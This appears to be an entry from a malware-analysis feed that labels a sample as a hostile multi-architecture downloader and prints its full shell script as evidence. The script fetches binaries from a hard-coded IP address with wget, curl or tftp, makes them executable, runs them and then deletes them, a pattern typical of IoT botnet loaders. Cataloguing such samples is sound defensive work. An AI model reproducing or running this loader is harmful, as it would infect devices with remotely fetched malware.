Hostile 100% Download

5489a5a475787b4af92ee0bf9d2d086494cbc26fd385119ec3e82d71134dc2df.unknown

Multi-arch downloader, executes, self-deletes

Multi-architecture protocol fallback executionVariable-host fallback download executes payload
SHA-2565489a5a475787b4af92ee0bf9d2d086494cbc26fd385119ec3e82d71134dc2df
MaleculeO(C₂)H₄(Cm₇F₄OsPo)

Evidence

Fetch URL host is a variable lines 1–11
1binarys="mips mpsl x86 arm7 arm sh4 arm6 arm5 ppc"
2server_ip="178.162.172.219"
3
4for arch in $binarys
5do
6rm -rf $arch
7wget http://$server_ip/$arch || curl -O http://$server_ip/$arch || tftp $server_ip -c get $arch || tftp -g -r $arch $server_ip
8chmod 777 $arch
9./$arch $1
10rm -rf $arch
11done

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.